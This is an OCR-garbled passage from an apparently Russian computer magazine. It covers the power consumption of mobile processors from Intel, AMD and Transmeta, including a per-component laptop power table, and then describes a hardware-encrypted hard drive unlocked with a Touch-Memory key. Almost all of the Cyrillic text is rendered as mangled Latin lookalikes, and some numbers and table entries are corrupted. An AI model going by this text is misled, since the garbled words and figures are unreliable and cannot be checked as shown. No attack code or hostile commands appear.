m BbiAe^eHMe Ten/ia nocieneHHo CHMwaKrrai. 


B o6/iacTi/i npoueccopoB nnn Mo6n/ibHbix kom- 
nbioTepoB HecKO/i bKO 3HaHMTe/ibHbix coBpe- 
MeHHbix pa3pa6oTOK MMeeT Kopnopauna Intel. 

B nepByio onepeflb sto noflBi/iBwnncfl npoueccop 
Intel Mobile Pentium III 1 ITu, KOTopbiPi, no cpaB- 
HeHHfO C BblC0K0np0M3B0flHTe/lbHblMM HaCTOJlbHbl- 
mm pa6oHMMM CTaHui/mMi/i Ha 6a3e npoueccopoB 
Athlon, Pentium III m Pentium 4, o6ecneHMBaeT 

CXO>KyiO npOM3BOflMTe/l bHOCTb B M06M/1 bH bIX KOM- 
nbiOTepax. flpyrMM He MeHee 3HaHMTe/i bH biM co- 
6blTI/ieM MO>KHO CHMTaTb CHM)KeHI/ie Hanpfl)KeHI/1fl 
nmaHi/m y npoueccopa Pentium III 500 Ml"u flo 
1 B (paHee flaHHbie npoueccopbi pa6oTa/in npn 
HanpflweHMflx 1,1-1,7 B) n noTpe6/ifleMoPi mola- 
HOCTM flO 0,5 Bt. 

npoueccop 1 rru, KaK m npeflbiflyiMMe BepcMM, 
noflflep>KMBaeTTexHo^orMK) Intel® SpeedStep™ m b 
3kohommhhom pe>KMMe pa6oiaeT Ha HacroTe 700 Ml"u. 
ripn pa6oie Ha HOMi/iHa/ibHOM nacTOTe HanpflweHne 
nmaHMfl cocTaB/meT 1,7 B (b skohommhhom pe>KMMe 
1,35 B), a noTpe6/ieHne 3/ieKTpo3Hepri/in cocTaB/meT 
npMMepHO 3 Bt (npn MaKCHMa/ibHOM ncno/ib30BaHHH 
fla>Ke 10,2 Bt). 900 Mlu BepcMM b onTHMH3npoBaH- 
hom pe>KMMe T3K>Ke pa6oTaeT Ha nacTOTe 700 MTu, 
nofl TeM >ne HanpflweHneM 1,7 B n c tbkhm we 3Hep- 
ronoTpe6/ieHneM. 



He TO/lbKO MOllJHOCTb, 
ho ii 9HepronoTpe6/ieHiie 

Kax npaBH/io, MOiUHOCTb — sto caMbiM Ba>KHbm na- 
paMeTp npn Bbi6ope KOMnbioTepa. TaK KaK caMbie 
BbicoKonpoM3BOflMTe^bHbie npoueccopbi i/meiOT n 
caMbiM 6o/ibwoPi pacxofl 3/ieKTpo3Heprnn, to hx hc- 
no/ib30BaHne bo3mo>kho /wwb b HoyT6yKax c 6o/ib- 
luom eMKOCTbio 6aTapen. riosTOMy Intel 3aHMMaeTCfl 
b tom HMC/ie n npoM3BOflCTBOM npoueccopoB C flO- 
CTaTOHHO HH3KHM nOTpe6/ieHHeM 3HeprMM. B MMHI/I- 
m/im cy6HoyT6yKax BbicoKonpon3BOAHTe/ibHbiPi, ho 
H eHacbiTHbm npoueccop 6bi/i 6bi Ma/io no/ie3eH. 

TaKMM o6pa30M, KpoMe BepcMM Mobile, cennac 
T3K>Ke npeA/iaraiOTCfl npoueccopbi Low Voltage m Ult- 
ra Low Voltage. 3to KacaeTca npoueccopoB Pentium 
III n Celeron. HanpnMep, Celeron 500 Ml"u m Pentium 
III 500 Mlu p,nn Mo6n/ibHbix KOMnbioTepoB cymecTBy- 
eT b Tpex Bepci/iflx: Mobile pa6oTaeT nofl HanpaweHH- 
eM 1,6 B, a Bepcnn Low Voltage m Ultra Low Voltage 
nofl 1,1 B c pacxoflOM 3/ieKTpo3Heprnn 1 Bt. 

C/ieAOBaTe/ibHo, pexopflCMeHOM c tohkm 3peHHA 
MMHMMa/ibHoro pacxofla 3Heprnn 53B/i53eTC^ npouec- 
cop Ultra Low Voltage (ULV) 500 MTu, noflBHBwnPiai 
Ha pbiHKe b Hana/ie 3Toro rofla. 3to npoueccop, ko- 

TOpblM B COCTOflHHH, npn CHHWeHHH pa 60 HeM HaCTO- 
Tbi Ha 300 MTu, yMeHbiuMTb noTpe6/meMyio MOiUHOCTb 
Ha 0,5 Bt. B 33bmcmmoctm ot Harpy3KH OHa MO>KeT 
cocraB/mTb MaKCMMyM 5 Bt. B pewnMe okmashm^ 
noTpe6/meMafl MOiUHOCTb CHM>KaeTCfl npv\6nv\3v\jenb- 
ho Ha 0,04 Bt, m Hao6opoT, Hanpi/mep, npn KOHBep- 
TMpoBaHMM cpaM/ia MPEG-2 noTpe6/ieHne SHeprMM 
B03pacTaeT npM6-nM3MTe^bHO Ha 1,2 Bt. npn pa6oTe 
Ha MaKCMMa/ibHOM nacTOTe npoueccop Tpe6yeT npu- 
MepHO oko/io 1 Bt m pa6oTaeT nou Hanp^oneHMeM 
1,1 B. npoueccop yAo6eH npe>KAe Bcero p,nn cy6HO- 
yT6yKOB c He6o^biuoM eMKOCTbio aKKyMy/iiiTopoB. 

27 cjoeBpa/i^ 6bm npeAcraB/ieH eiue oamh npo- 
ueccop C OHeHb HM3KMMM 33TpaTaMM 3^eKTp03Hep- 
tmm. Penb MAeT o npoueccope Low Voltage Mobile 
Pentium III 700 Ml"u — caMoPi 6biCTpoM BepcMM 
npoueccopa Pentium III p,nn MMHM-HoyT6yKOB c 
MaccoPi ao 1,5 Kr m TO^niAMHoPi ao 2 cm, KOTopbie 
ceroAH^ cocTaB^^noT npMMepHO 9% pbiHKa. npo- 


ueccop pa6oTaeT noA Hanp^oneHMeM 1,35 B, a noc/ie 
nepexoAa b onTMMM3MpoBaHHbm pe>KMM Ha nacTOTy 
500 MTu Hanp^oKeHMe ni/iTaHi/m cocTaB^5ieT 1,1 B. 
npn 3TOM epeAHMPi paCXOA 3/ieKTp03HeprMM HM>Ke, 
neM 1 Bt. B ceMePicTBe npoueccopoB Mobile Celeron 
TO>Ke ecTb HOBMHKa: 19 MapTa stoto roAa b pacno- 
pii>KeHMe no^b30BaTe^eM npeAOCTaB^eHa Bepcna 
Celeron 750 MTu A-n^ Mo6n/ibHbix KOMnbioTepoB. 

KaK MO>KHO C9K0H0MMTb? 

acjDcjDeKTMBHoro CHM>KeHMii 3HepronoTpe6-neHM5i 
Heo6xoAMMO coBMecTHoe npMMeHeHMe HecKO/ibKMx 
TexHO/iorMM. B nepByio onepeAb sto npoM3BOACT- 
BeHHbiPi npouecc, a mmchho 0,18-MMKpoHHa^ TexHO- 
jiornfl, KOTopa^ npeAOCTaB^^eT B03MO>KHOCTb 3Ha- 
HMTe/lbHO CHM3MTb Hanp^DKeHMe nMT3HMi1 M 

noTpe6-n5ieMyio MOiUHOCTb npoueccopa. HeuaBHO 
Intel aHOHcnpoBa/i HOByio TexHo^norMio ziMTorpacjDMM 

— Extreme Ultra Violet Lithography, 6/iaroAapfl ko- 
TopoPi no^BMTCfl B03MO>KHOCTb npeB30MTM y>Ke 
BHeApeHHyio 0,13-MMKpoHHyio TexHo^ornio npoM3- 
BOACTBa npoueccopoB. fla-nbHeMiuee pa3BMTMe Tex- 
HO/iorMM no3BO/iMT y>Ke b nepBoPi no/iOBMHe 3Toro 
Aec^TM/ieTM^i pa3pa6oTaTb npoueccopbi c HacroTon 

io rru. 

CHM>KeHMio 3HepronoTpe6/ieHMfl b 6yAyiueM Tax- 
>Ke 6yueT cnoco6cTBOBaTb y>ne ynoMMHaBiua5iC5i Tex- 
Ho/iorna Intel® SpeedStep™, KOTopa^i o6ecnenMBaeT 
CHM>KeHMe Hanpii>KeHM^ m nacTOTbi b c/iyHae, Korua 
nepeHocHOM KOMnbioTep pa6oTaeT Ha 6aTapeax. 

Apyron TexHo^orueM, noMoraioiueM Intel yuep- 
>KaTb noTpe6^eHMe npoueccopoM 3/ieKTpo3HeprMM 
Ha HM3KOM ypoBHe, ^B^^eTC^i TexHo^orM^i QuickStart 

— 6^aroAap^ eu npoueccop cnoco6eH nepeMTM b 
cn^iAMPi pe>KMM (b stom cocto^hmm ero 3Hepro3aT- 
paTbi MMHMMa/ibHbi m o6biHHO aoxoa^t ao 0,5 Bt). 
npi/1 nepeK/noHeHMM M3 cn^iuero pe>KMMa b o6biHHbiPi 
npe>KHfl^ pa6oTocnoco6HocTb BoccTaHaB/n/iBaeTCii 
oneHb 6bicTpo. 3to Taione 3HaHMTe/ibH0 skohommt 
3HeprMK). npn 3tom nepe^iOHeHMe Me>KAy pe>KMMa- 
mm ocyiuecTB^5ieTC5i Tax 6bicTpo, hto skohomm^i 
3Heprnn B03MO>KHa, HanpMMep, Me>KAy Ha>KaTMiiMM 
k/i a b uni npn nenaTM Ha K/iaBnaType. 
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noTpe 6 /ifieMafi 
MOlUHOCTb (Bt) 

noTpe 6 /ifieMafi 
MOlUHOCTb (Bt) 

llpoueccop Pentium HI 600 MTli 

0,8 

0,8 

HnnceT 440 MX 

0,65 

0,65 

naivmTb 64 M 6 aiiT SDRAM 

0,1 

0,1 

rpa 4 >MHecKiiM nun 

0,5 

0,5 

ripoMewyTOHHafi cyMMa 

2,05 

2,05 

BxoAHiijafl/BbixoAfliijafl noflcncieivia 

0,1 

0,1 

AyflMO 

0,4 

0,4 

MofleM 

0 

0,7 

>KeCTKMM flMCK 

0,65 

0,89 

DVD-ROM 

2,51 

0 

CardBus 

0,2 

0,2 

AKTMBHoe ox/ia>KfleHne 

0 

0,4 

OcTa/ibHoe 

1 

1 

npoMe>KyTOHHafi cyMMa 

4,86 

4,86 

LCD-flMcnneii 

2,8 

2,8 

Pecypc aHeprnn 

0,72 

0,72 

klToro 

10,43 

9,26 


PacxoA 3/ieKTpo3Heprim OTAe/ibHbiMM KOMnoHeHTaMM HoyT- 
6yKa npii npoMrpbiBaHMM cpn/ibivia DVD (nepean KO/ioHKa) 
m npii o6biHHOM Harpy3Ke (BTopan KosioHKa). Mctohhmk: Intel 


» B npoM3BOflCTBe npoueccopoB f\j\n Mo6n/ibHbix 
KOMnbiOTepoB y KOMnaHuu Intel ywe AOcraTOHHbin 
onbiT. riepBbiM npoueccopoM p,nn Mo6n/ibHbix kom- 
nbioiepoB 6bm npoueccop i386SL, M3roTOB/ieHHbiM b 
1990 rofly. Eiue y npoueccopoB Mobile Pentium 
MMX noTpe6/meMafl MOlUHOCTb cocraB/m/ia oko/io 
17 Bt npn Hanp/DKeHMU nuTaHua 2,8 B. (loc/ie nepe- 
xofla Ha 0,25-MMKpoHHyio TexHO/ioruio pacxofl chm- 
3\Ancn b Aea pa3a. BepwuHOM AOcm>KeHnn Tex zieT 
CTa/i npoueccop Pentium MMX 120 Ml"u A-na Hoyi6y- 
Ka c pacxoAOM 3Heprnn 4,2 Bt. npoueccop Mobile 
Pentium II 400 Ml"u noTpe6/m/i oko/io 7,5 Bt, Mobile 
Intel Celeron — 7,7-15,6 Bt (b 3aBncnMOCTn ot 
Bepcnn). B npoiu/iOM roAy Intel pa3pa6oTa/ia npo- 
ueccop Mobile Pentium III, noTpe6/miOLAnn Bcero 
1 Bt; b 2001 roAy stot noKa3aTe/ib cocraBM/i 0,5 Bt. 

npn npoH3BOACTBe CTaHAapTHbix npoueccopoB Ta- 
Koro aKueHTa Ha cHn>KeHne 3Hepro3aTpaT, pa3yMeeT- 
cfl. He Ae/iaeTC/i. TaKMM o6pa30M, npoueccop 1 ITu 
Pentium III MO>KeT noTpe6/mTb ao 29 Bt, a Celeron — 
npMMepHO 18 Bt. Pentium 4, HanpnMep, noTpe6/meT 
eiAe 6o/ibiue — 55 Bt, ho ecrb n 6o/iee yApynaioiAne 
noKa3aTe/in: Tax, y Alpha 21264 3Ta Be/wnnHa cocraB- 
/meT 100 Bt. 

KoHKypeHuim 

Ho y Intel n b stom cerMeHTe pbiHKa ecrb KOHKypeH- 
Tbi, npaBAa 3HaHMTe/ibHO OTCTaioiune. AMD 
(Advanced Micro Devices, Inc.) nocTaB/meT cbom 
cpaBHMTe/ibHO ycTapeBLUMe npoueccopbi AMD-K6-2+ 
TO/ibKO pj\n caMbix AeweBbix HoyT6yKOB, ot ncno/ib30- 
BaHMfl KOTOpbIX MHOrne npOM3BOAMTe/lM M 06 n/lbHblX 
KOMnbiOTepoB y>Ke OTKa3a/incb. He /lynwe cnTyaunfl c 
npoueccopoM Mobile AMD-K6-III+. Ha momcht Hann- 

CaHMfl CT3TbM M 06 n/lbHblX KOMnblOTepOB C A9HHblM 
npoueccopoM Ha poccnncKOM pbiHKe b npoAa>Ke He 
6bi/io. B Hana/ie roAa AMD npeACTaBM/ia Mo6n/ibHbin 
Duron Bepcnn 600 n 700 Ml"u, KOTopaa ncno/ib3yeT 
CMCTeMHyio LLiMHy 200 Ml"u n MMeeT 64 K6aMT naM/iTM 
K3iua L2. Bbino/iHeHHbm no 0,18 -mmkpohhom TexHO- 
jiornn, oh pa6oTaeT noA Hanp/oneHMeM 1,4 B. Cennac 
ecTb n 800 MTu Bepcna Duron, KOTopbin pa6oTaeT noA 
ynpaB/ieHMeM HMnceTa ALi 1647 (MAGiC 1) n/in 


VIA KT133A (b ckopom 6yAyiueM o/KMAaeTC/i BbinycK 
HOBbIX HMnceTOB OT APyrMX npOM3BOAMTe/ieM). Hto 
K acaeTca ero Bepcnn Morgan, KOTopyto Bee >KAa/in, to 
OH a noAAep>KMBaeTTexHO/iormo PowerNow! m ee pac- 
XOAbl Ha 3/ieKTp03HepmiO OTHOCMTe/lbHO HeBblCOKM. 

B CKOpOM BpeMeHM Mbl AO/DKHbl >KAaTb OT Cj)MpMbl 
AMD noflB/ieHMfl hoboto Athlon pj\n Mo6n/ibHbix kom- 
nbiOTepoB (KOAOBoe Ha3BaHMe Palomino). 

TexHO/iori/ifl PowerNow!, ncno/ib3yeMafl b mo- 
6n/ibHbix npoueccopax AMD, coneTaHneM annapaT- 
HblX M npOrpaMMHblX CpeACTB n03BO/lfleT M3MeHflTb 
Hanp/DKeHMe n nacTOTy npoueccopoB b 33bmcmmoc- 
tm OTTeKyiAMx noTpe6HOCTeM npn/io>KeHnfl. Pa3y- 
MeeTC/i, npn stom skohommtoi 3ap/iA 6aTapen. npo- 
ueccop MO>KeT pa6oTaTb b Tpex MOAnc|DnKaunflx: 
aBTOMaTMHeCKOM (npn 3TOM HaCTOTa MeHfleTCfl B 3a- 
bmcmmoctm ot noTpe6HOCTM), High Performance 
(Han6o/lblUafl B03MO>KHafl npOM3BOAMTe/lbHOCTb) n 
Battery Saver (pa6oTaeT Ha caMon hm3kom m3 bo3- 
mo>kh bix nacTOT). Ilo ASHHbiM cJ/MpMbi AMD, npoLjec- 
cop K-6®-2+ pa6oTaeT noA Hanp/oneHMeM 1,4-2 B m 
noTpe6/i/ieT npi/mepHO 3 Bt. 

0 npoueccopax Transmeta roBopi/i/iocb m nnca- 
ziocb AOCT3TOHHO. K co/Ka/ieHMio, y Hac He 6bmo 
maHca HenocpeACTBeHHO no3HaKOMMTbc/i c hum. Tax 
KaK CHa6>KeHHbie mm HoyT6yKn b Poccmm He npoAa- 
Ba/incb. flpo6/ieMy cocTaB/i/ieT r/iaBHbiM o6pa30M 
npoM3BOAMTe/ibHOCTb Transmeta. KpoMe toto, BBe- 
AeHMeM cbomx HOBbix npoueccopoB c oneHb HM3KMM 
noTpe6/ieHMeM 3/ieKTpo3HeprMM Intel HaHec Trans- 
meta AOCT3TOHHO T/i/Ke/i biM yAap. 

He TO/ibKO npoueccop 

K co>Ka/ieHMio, npoueccop — TO/ibKO oamh KOMno- 
HeHT HoyT6yKa, KOTopbm, cooTBeTCTBeHHo, noTpe6/i/i- 
eT TO/ibKO nacTb 3/ieKTpo3HeprMM, npMHeM MeHbiuyio 
M3 Heo6xoAMMOM a - nfl noAAep>KaHM/i pa6oTOcnoco6- 
hoctm Bcex KOMn/ieKTyioiAMx KOMnbiOTepa, TaKMx KaK 
AMcn/ieM, >KecTKMM ahck, CD-ROM, naM/iTb, HMnceT, 
BMAeoKapTa m t. a- Ha pacxoA 3/ieKTpo3HeprMM A-n^ 
OTAe/ibHbix KOMnoHeHTOB nepeHOCHoro KOMnbiOTepa 
c npoueccopoM Mobile Pentium III 600 MTu mo>kho 
nocMOTpeTb b Ta6/iMue. B HeM npeACTaB/ieHbi pacxo- 


A bi 3/ieKTpo3HeprMM npn o6biHHOM 3arpy3Ke m npM 
npoMrpbiBaHMM cj/M/ibMa c AUCKa DVD. 

KaK bmaho M3 Ta6/iMUbi, Intel y>Ke AOCTaTOHHO CAe- 
/ia/ia pj\n chm/kchm/i pacxoAOB 3/ieKTpo3HeprMM. Ec/in 
6bi y npoueccopa 6bm Hy/ieBOM pacxoA 3/ieKTpo3Hep- 
tmm, to 3to Bee paBHO He cnacno 6bi CMTyauMio. B 03 - 
MO>KHOCTM CSKOHOMMTb C/ieAyeT MCK3Tb M B APyrMX 
«MecTax». Intel/iB/i/ieTC/i TaK>Ke npoM3BOAMTe/ieM 
Ha6opoB MMKpocxeM Hoyr6yKOB — sto HMnceTbi 
440 BX (cneuMa/ibHa/i BepcM/i pj\n HoyT6yKa) m 440 MX. 

IlyTb k CHM>KeHMio noTpe6/ieHM/i 3/ieKTpo3HeprMM 
6bi/i He/ierKMM. TexHO/iorMM, 6/iaroAap/i KOTopbiM sto 
CT aHOBM/lOCb B03MO>KHblM, nO/IB/l/l/lMCb nocTeneHHO. 
CeroAHfl c mx noMOiubio nepeHOCHbie KOMnbiOTepbi 
mo>kho nepeK/iionaTb b pe>KMM 3Heproc6epe>KeHnfl. 
HTo6bl MO/KHO 6bl/10 C3KOHOMMTb, npOM3BOAMTe/lM 
KOMn/ieKTyioiAMx KOMnbiOTepa m nporpaMM AO/i>KHbi 
6 bi/iM AoroBapMBaTbc/i 06 o6iamx marax m onpeAe/ieH- 
Hbix cneuMc|DMKauM/ix. TaK, HanpMMep, B03HMmia cne- 
UMc|3MKauM/i APM (Advanced Power Management, to 
ecTb ycoBepmeHCTBOBaHHoe ynpaB/ieHMe pacxoAOM 
3HeprMM), BbiABMHyTa/i c|DMpMaMM Intel m Microsoft. 
Hto KacaeTCfl ynpaB/ieHM/i SHeprneM, peiuaeMoro Ha 
ypoBHe BIOS m no3BO/i/noiuero CHM3MTb noTpe6/ieHMe 
3Hepro3aTpaT npoueccopa m/im KOMn/ieKTyioiAMx KOM- 
nbiOTepa, b c/iynae h6o6xoammoctm ero OTK/imaiOT. 
CaMa/i HOBa/i cneuncJ/MKauM/i APCI 6bma BbiABMHyTa 
cJ/MpMaMM Intel Toshiba m Microsoft. B/iarouap/i mm 
onepauMOHHa/i CMCTeMa, /kcctkmm amck m nepMcfiepMM- 
Hbie ycTpoMCTBa MoryT «AoroBapMBaTbc/i» o noTpe6/ie- 
hmm 3/ieKTpo3HeprMM. 3 to no3BO/i/ieT onepauMOHHOM 
CMCTeMe ynpaB/i/iTb KOMnoHeHTaMM, to ecTb BK/nonaTb 
mx TO/ibKO b c/iynae, ec/iM b stom ecTb Heo6xoAMMOCTb, 
BbiK/HonaTb m t. a- TaKMM o6pa30M, ACPI 3aMeH/ieT co- 
6 om cneuMcJ/MKauMM APM m PnP BIOS. 

nocTeneHHO y/iyniuaiOTC/i m aKKyMy/i/iTopbi. 
rioc/ie ziMTMM-MOHHbix 6aTapeM npMiu/iM 6aTapeM jim- 
TMM-no/iMMepHbie. Apyo^ HOBMHKOM T3 K>Ke /IB/l/ieT- 
cfl TexHO/iorM/i ALB (Advanced Lithium Batteries) 
cJd m p m bi Toshiba, no3BO/i/noiua/i npoM3BOAMTb aKKy- 
My/l/ITOpbl TO/llAMHOM AO 1 MM C XapaKTepMCTMK3MM, 
npeBOCXOAfllAMMM /lMTMM-MOHHbie aKKyMy/l/ITOpbl. 

■ ■ ■ Ahtoh MoKpeuoB 
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YCTpOMCTBO 3 a m M T bl MHC|)OpMaUMM TPMM-flMCK 

npOTMBOyrOHHblM 

Ha 6 op A/I A^HHblX 

KaK M3BecTHO, lunnoHCKaa AeflTe/ibHOCTb 6biBaeT pa3HoPi. Ot Be/iMKO/ienHO npnKpbiToPi pe 3 MfleHTypbi 
noco/ibCTBa ao M/iaAwefi cecTpbi-fl6eflbi, KOTopaa o6fl3aTe/ibHO aojiojkmt poAMTe/iflM o Bawnx 
OHepeflHblX nOXOJKfleHMJlX. ECTeCTBeHHO B03HMKaeT Bonpoc KOHC|DMfleHI4Ma/lbHOCTM MH(|)OpMaUMM. 
Peiumb ero mojkho mnbKO AByMA cnoco6aMM — KapaTe/ibHbiM m/im npeAynpeAMTe/ibHbiM. 


epBbiM cnoco6 ao HeflaBHero BpeMeHM 6bi/i 
oneHb hi M poKO pacnpocipaHeH. ErnnT5iHe Ba- 
pi/i/in mnnoHOB b Mac/ie, b TeMHbie cpeflHMe BeKa 
Aa/ia o ce6e 3HaTb Heo6pa30BaHHocTb — b MOfle 
6bmo OTceneHMe ro/iOBbi. Hawn coBpeMeHHMKM ot- 
Ka3a^MCb OT npaKTMKM ny6/lMHHOM Ka3HI/1, 3a60T5ICb 
O MOpa/lbHOM yCTOMHMBOCTM o6mecTBa, HO Kapa- 
Te^bHbie MeTOflbi npMMeHflioTCfl m ceroflH^. I"Ioh5it- 
ho, hto c|DM3MHecKMe pacnpaBbi o6peHeHbi Ha 3a6Be- 
HMe, Beflb Aa>Ke He6o/ibwi/ie KOCMeTi/inecKi/ie M3Me- 
HeHMii He MoryT CKpbiTb mx CKyHHoro OAHOo6pa3M5i. 

3aio BTopoM cnoco6, Kyfla 6o/iee nepcneKTMBHbm, 
6bicipo pa3BMBaeTCii m y>Ke ycne/i npMHflTb orpoMHoe 
MHO>KecTBO cpopM . fnaBHbm npMHAMn — npodo He 
AaTb Ao6paTbC5i ao o6eperaeMOM MHcjDopMauMM. Eo/ie3- 
HeHHbiM MHTepec pe3MAeHTypbi mthobchho M3/ieHMBa- 
eTca BbicbmKOM Ann/iOMaTOB M3 crpaHbi, cecrpy-5i6eAy 
HaBepH^xa ocraHOBMT BbicoKMM 3a6op M/1M OrpOMHa^l 
rp^3Ha^ ziywa, nepe3 KOTopyio Bbi cyAOBO/ibCTBMeM 


nepe6epeiecb, coBepiueHHo cnpaBefl^MBO paccHMTbi- 
Baa Ha noc/ieflyiomyio HenoAKompo/ibHOCTb BamMx 
AeMCTBMM. 

B KOMnbiOTepHOM MMpe py6mb ro/iOBbi He moa- 
HO, n03T0My npMXOAMTCfl AOBOJlbCTBOBaTbCfl 
npeAynpeAme/ibHbiMM MepaMM. Hio6bi HeTAHyTb 
M^iyKaiOlAyiO >KMBHOCTb 3a XBOCT, CTOMT HanOMHMTb 

MyApbm aHeKAOT o tom, hto Ha Bee 100% MHc|)opMa- 
u,vuo Ha BameM >KecTKOM A^cxe mo>kho 6yAeT o6e30- 
nacMTb npM nanmm ceMcjDa m OTcyTCTBMM HUB-po- 

3eTKM. 

fleMCTBMTe/ibHo, noKa eiAe hmkto He c/ibiwa/i o 
BOpOBCTBe MHCflOpMaUMM C OTK/llOHeHHOrO OT CeTM M 
umanm KOMnbiOTepa, KOTopbm eu^e m 3anepT b 
cekicp. OAHaKO aHeKAOT BcerAa AB/meTca OTpaweHM- 
eM pea/ibHOM >km3hm. 0Ka3a/iocb, AOCTaTOHHO yMeHb- 
LUMTb pa3Mepbi ceMcjDa m aHeKAOT npeBpaTMTca b mh- 
TepecHoe MH>KeHepHoe peweHi/ie... Pa3pa6oTKa kom- 
naHMM «J1AH KpMnTO», o kotopom noMAeT penb, Ha- 


3biBaeTC5i TPUM-fll/ICK. B AByx c/iOBax — sto bmh- 
necTep b ceMcfie, ho b ceTM. 

PaccMOTpMM noApo6Hee sto ycrpoMCTBO. flawe 
BHeiuHe ahck npeACTaB/meT co6om o6biHHbm nflTM- 
AiOMMOBbiM rack-Kopnyc. BHyTpM HaxoAflTca 3au\v\u\ae- 
MbiM BMHHecTep m n/iaTa IDE-KOAMpoBLAMKa, KOTopaa 
CjDaKTMHeCKM 5IBJ15ieTC5l noepeAHMKOM Me>KAy o6blHHblM 
IDE-KOHTpo/mepoM i/i 3aiAMiAaeMbiM BMHHecTepoM. 

HTo6bi MHMUMa/iM3MpoBaTb n/iaTy KOAMpoBLAMKa m no- 
ziyHMTb Aocryn k ashhum, Heo6xoAMMO BOcno^b30- 
BaTbCfl MamMTHbiM «mii0H0M-Ta6^eTK0M» Touch- 
Memory, B KOTOpyiO «BLUMT» 256-6MTHblM KOA- CaM >Ke 
koa 3aiAMiAeH napo^eM, m 6e3 Hero MamMTHbm mioh 
6ecno^e3eH. B MTore ot no^b30BaTe-n5i Tpe6yiOTC5i mm- 
HMMa^bHbie AeMCTBMM A-n^ aKTMBM3auMM rpMM-AMCKa: 
npM BK/iiOHeHMM KOMnbiOTepa noAHecTM MarHi/rmbm 
muon k nepeAHen naHe^M ycrpowcTBa, Ha6paTb b no- 
53 b i/i b lli e m C53 npMmaiueHMM napo^b m pacc^a6MTbC5i — 
Aa/iee Becb npouecc pa6oTbi c tphm-amckom hmhcm He » 
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» OT/iMHaeTca ot pa6oibi c o6biHHbiM BMHnecrepoM, 
Bn/iOTb ao Bbino/iHeHMa HM3KoypoBHeBbix onepauMM, 
T3KMX Kan format m/im fdisk. 

TexHunecKM rpMM-AMCK TO>Ke ycrpoeH oneHb 
npodo. Ho ecTb oamh Mi/myc, KOTopbm Bnoc/ieACT- 
bmm npeBpamaeTCfl b orpoMHbm n/noc. 

KpoMe caMoro rpMM-AMCKa, b nociaBKe MMeeTCfl 
ceieBaa Kapia co BcraB/ieHHOM MMKpocxeMOM 
B00T-R0M. B Hee bqjmt He6o/ibwoM koa p,nn mhm- 
u,]Aan]A3au,m npoBepKM MarHi/imoro K/nona m napo- 
/lfl. 0 tA 3 BaTb /l M LLI H M M PCI-C/IOT >Ka/lKO, HO MCKyC- 
ctbo BcerAa Tpe6yeT OAHoro m Toro >Ke. CeTeBaa 
Kapia AB/meTca b ashhom c/iynae npocro hocmtc- 
zieM Aono/iH MTe/ibHoro KOAa BIOS. Ilpi/i we/iaHMM 
nn3y-MMKpocxeMy mo>kho BcraBi/iTb b Bawy, y>Ke 
ycraHOB/ieHHyio, /no6nMyio ceieByfo Kapiy. Koa h 3 
nn3y aBTOMaTMHecKM 3anycKaeTCfl npM BK/noHeHMM 
KOMnbiOTepa, cpa3y noc/ie Bbino/iHeHMA ochobhoto 
KOA a BIOS (i/iHorAa Heo6xoAMMO BpyHHyio c no- 
MOiAbio yTM/iMTbi HacTpoPiKM ceTeBOM n/iaTbi pa3pe- 
maTb Mcno^b30BaTb B00T-R0M). 

TaK KaK bck npoBepxa /lermMMHOCTM AOdyna 
npoxoAm eiAe ao 3arpy3KM onepauMOHHOM CMCTe- 
Mbi, to, BO-nepBbix, rpMM-AMCK coBepiueHHO He 3a- 
BI/1CMT OT OnepaAMOHHOM CMCTeMbl, BO-BTOpbIX, Ha 
Hero caMoro mo>kho nocTaBMTb /iio6yio onepauMOH- 
Ky m, B-TpeTbMx (caMoe maBHoe!), p,nn pa6oTbi c 
rpMM-AMCKOM He Tpe6yeTC5i HMKaKoro nporpaMMHO- 
ro o6ecneHeHMfl. HeT cocfiTa — HeT m bo3mo>khoctm 
B 3/iOM3Tb CMCTeMy 6e3 naccaTM>KeM, naa/ibHMKa m 
OTB epTKM. EAMHCTBeHHOe, Ha nepBbIM B3m^A.y3KOe 
MeCTO — KOA MHMAI/ia/lM3aAMM napO/lfl, BWMTblM B 
B00T-R0M ceTeBOM KapTbi. Ero mo>kho «cni/iTb» M3 
onepaTMBHOM naMATM, KyAa oh 3arpy>KaeTCfl cpa3y 
noc/ie BK/itoneHMii KOMnbiOTepa. OAHaKO oh HMHero 


He AacT B3/iOMiAMKy, TaK KaK He C0Aep>KMT a/iropnT- 
Ma KOAHpoBaHMji m/im o6pa6oTKM K/Hona/napo/ifl. 

Bee. TynMK. A/iropnTM LUMctapauMn/ Aem Mcjapa am m 
BLLIMT B IDE-KOAMpOBlAMK. llapO/lb M KOA — 

B TO/lOBe M MarHMTHOM K/llOHe COOTBeTCTBeHHO. 
nporpaMMbi p,nn KOAMpoBaHM/i HeT, b pe3y/ibraTe 
B3^aMbiBaTb Henero. Ho hto eiAe xy>Ke noTeH- 
Ai/ia/ibHoro b3/iomiamk 3, a/iropMTM \n]Adppau l m/p l e- 
Lu i/icJapapM m Bbino/iHfleTCfl b npouecce nepeAaHM 
AaHHbix no npMHLjnny «nepHoro nu\ma». flaHHbie 
nocrynM/in Ha bxoa KOAMpoBLAMKa m, ywe o6pa6o- 
TaHHbie, noiiBM/iMCb Ha BbixoAe. B onepaTMBHyio na- 
MflTb He nonaAaeT hm 6MTa MHcJ/opMapMM, nosTOMy 
nepexBaTbiBaTb Henero. flawe npocroM ananm 
c^m/iob Ha 3aiAMiAaeMOM BMHHecTepe HeB03M0>KeH. 

Ec/1M M3B/ieH b BMHHeCTep M3 rpMM-AMCKa, TO B 
ApyroM KOMnbioTepe BMHHecTep noBeAeT ce6a 
KaK AOBCTBeH HO HMCTbIM AUCK. KaK 6yATO OH Aa- 
>Ke He cjDopMaTMpoBaH. fle/io b tom, hto IDE-koam- 
Pobiamk Lii McJapyeT a6co/noTHo Bee, KpoMe, nowa- 
ZiyM, KOMaHA n03MI4M0HMp0BaHMfl ro/iOBOK bmh- 
necTepa. llosTOMy HeB03M0>KH0 ce6e npeACTa- 
BMTb Ty 6e/iM6epAy c tohkm 3 penv\ft o6biHHoro 
IDE-KOHTpo/i/iepa, KOTopaa 3anMcaHa b ceKTopax 
MBR mji m FAT. IDE-KOHTpo/i/iep npocTO m rHopMpy- 
eT 3tot «Mycop», npeAno/iaraa, hto BMHHecTep 
eiAe hm pa3y He 6bi/i OTcfiopMaTMpoBaH. Mmchho 
3TOT MOMeHT Aono/i h MTe/i bH o Ao6aB^5ieT OHKOB 
MeTOAy mMcjDpauMM. flawe npM 6aHa^bHOM Kpa>Ke 
BMHHecTep 6ecno/ie3eH 6e3 cneuMa^bHoro 
o6opyAOBaHM5i. 

C >Ke/ie30M pa3o6pa^MCb. Ila3eeK HeT m He 
